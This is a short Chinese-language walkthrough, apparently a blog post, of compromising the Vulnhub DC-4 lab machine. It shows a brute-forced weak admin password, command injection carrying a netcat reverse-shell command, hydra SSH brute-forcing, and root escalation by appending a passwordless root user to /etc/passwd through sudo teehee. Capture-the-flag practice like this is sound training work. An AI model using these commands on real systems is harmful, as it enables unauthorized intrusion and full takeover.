Vulnhub渗透测试靶机DC-4

下载地址：https://www.vulnhub.com/entry/dc-4,313/

nmap没有扫描到什么有用端口
直接访问80端口

只有一个认证框 没有验证 bp爆破admin弱密码
发现密码admin qwert
进入后台 发现有执行命令的地方

抓包发现命令由post包传过去

执行的命令由客户端传到了服务端
命令执行获取shell
把nc -e /bin/sh 192.168.49.129 4444传上去

nc –e /bin/sh 192.168.49.129 4444
然后回到kali 监听4444
nc –lvnp 4444

成功返回一个www用户的shell
然后在/home/jim发现了一个备份文件

里面存了密码
去爆破jim 用户的ssh
hydra –l jim –P jimpw.txt 192.168.49.10 ssh

连进jim
ssh jim@192.168.49.10
jibril04
发现jim的home里有一封邮件

联想到去看看/etc/mail
发现了另一封邮件

这是charles的密码 直接登录ssh
发现Charles可以执行一条root命令

查看发现teehee可以插入标准化数据

那就在/etc/passwd插一个root用户
echo “aaa::0:0:::/bin/bash” |sudo teehee –a /etc/passwd
然后讲道理 就可以直接su aaa了
Charles su了半天没给进

转换到jim
一下就进去了 玄学吧

欢迎师傅们指点